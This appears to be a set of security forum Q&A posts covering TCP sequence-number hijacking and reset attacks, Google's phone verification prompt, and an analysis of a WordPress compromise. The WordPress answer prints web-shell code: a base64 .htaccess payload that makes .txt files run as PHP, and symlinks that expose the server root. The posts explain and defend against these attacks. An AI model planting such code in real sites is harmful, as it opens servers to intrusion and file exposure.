To perform this attack you need to know the source IP, destination IP, source port, destination port, and the TCP sequence and acknolwedgement numbers. These numbers are randomly selected 32-bit numbers generated as part of the TCP handshake, incremented by the length of each packet sent/received. Their primary use is to ensure strong packet ordering, but their values are also useful to protect against spoofing attacks. Packets with invalid sequence or acknowledgement numbers (i.e. values outside the transmit or receive window) are ignored. You would generally obtain these numbers by packet sniffing if you're on the same network as them. You can also try to exhaustively guess the number, but this is noisy and slow; an exhaustive brute-force of the sequence and acknowledgement numbers requires a minimum of 4 billion packets.

A more common attack is a TCP reset attack, which is easier since an RST packet can be sent without requiring two-way closure and you only need the correct sequence number since the ACK flag is not set.


How does entering "a" phone number help Google "verify it's me?" Today I tried to sign into my Google account while at university. Google blocked the attempt, and asked for a phone number. Below is a screenshot of the form Google showed me.

It says:

  Verify it's you
  This device isn't recognized. For your security, Google wants to make sure it's really you.

  Enter a phone number to get a text message with a verification code.

Obviously, Google thinks that knowing my password is not enough to prove "it's me." I don't have a phone, so I never linked any phone number with my Google account.

What intrigues me is the phrasing. "Enter a phone number" sounds to me like it would accept any number. Obviously, since I never linked a phone number, they do not have anything to compare the number entered into that field to. This also means that they cannot send me a text message with a verification code.

I do not understand how this improves security. They already assume that I may be an attacker who somehow got hold of my password, otherwise they would just let me log in. But what would stop an attacker from entering any phone number in their control so they can receive the verification code? Assuming that an attacker may know my password, how does this prevent them from gaining unauthorized access to my account?

Although it's strangely worded, it does make sense from Google's point of view, because:

If your account credentials are ever compromised, an attacker would be less willing to continue at this point, unless they are willing to use a throwaway number every time they hack someone's account. (Which probably isn't cost effective.) They certainly can't use their actual phone number as then law enforcement could potentially track them down. This could basically work to "verify it's you".
It enables Google to start using 2FA with you in the future. But since forcing 2FA might be frowned upon, perhaps they decided they'll only force it if you ever login from an unknown device.
This reduces the number of new email addresses created for spamming purposes. It's harder to get working phone numbers than it is to get email addresses, so by forcing a user to associate a working phone number that they personally have access to with their account, it cuts down on the number of newly created spam email addresses. I assume if you try to associate too many email accounts with the same number, you'll get shut down.


How did the hacker get access to my WordPress upload folder? Yesterday I found out there is this http://pastebin.com/MRRny4Ht PHP file in my friends server. I want to know how was the hacker able to upload it there? I read the similar questions but couldn't find a correct answer.

EDIT:-

Today I got to know that the WordPress site has been breached by brute-forcing the password (The password is strong). I still don't know how they managed to crack that password.

After cracking the password they logged in and uploaded the php files.After googling about Donnazmi.txt I found out that so many other sites are also hacked on or around the same day (july 13th). The hacks using the same script are still going on. The password for the WordPress server has been changed to more complex one and those php files have been deleted.

Thank you for the answers and comments. Sorry, I should have given more information while posting the question.

Once the file is uploaded to the server (exploiting a bug in a wordpress theme), the .htaccess is reconfigured in a way that any .txt file will be interpreted by the server as a .php script and it will follow symlinks.

The next step is the trick, he makes a symlink from / to Donnazmi.txt (2 ways)

The code isn't really complex, it prints an html form with the needed configs to run the exploit steps (you need to send a post request with Donnazmi as a post key to see it).

Code explained:

.htaccess reconfig:

$fvckem = 'T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';

This is a base64 encoded string, which translates into:

Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php

So with that config:

$file = fopen(".htaccess","w+"); // open the file
$write = fwrite ($file ,base64_decode($fvckem));
// write the new config inside the file

Symlinks:

// 1. this is a link with the linux comand `ln`
system('ln -s / Donnazmi.txt');
// 2. this is a link php native function
$Donnazmi = symlink("/","Donnazmi.txt");

After the execution, each time he visits example.com/Donnazmi.txt he sees a list of the root directory of your server (Options Indexes tm).

So yes rebuild that machine. and check the software before installing it.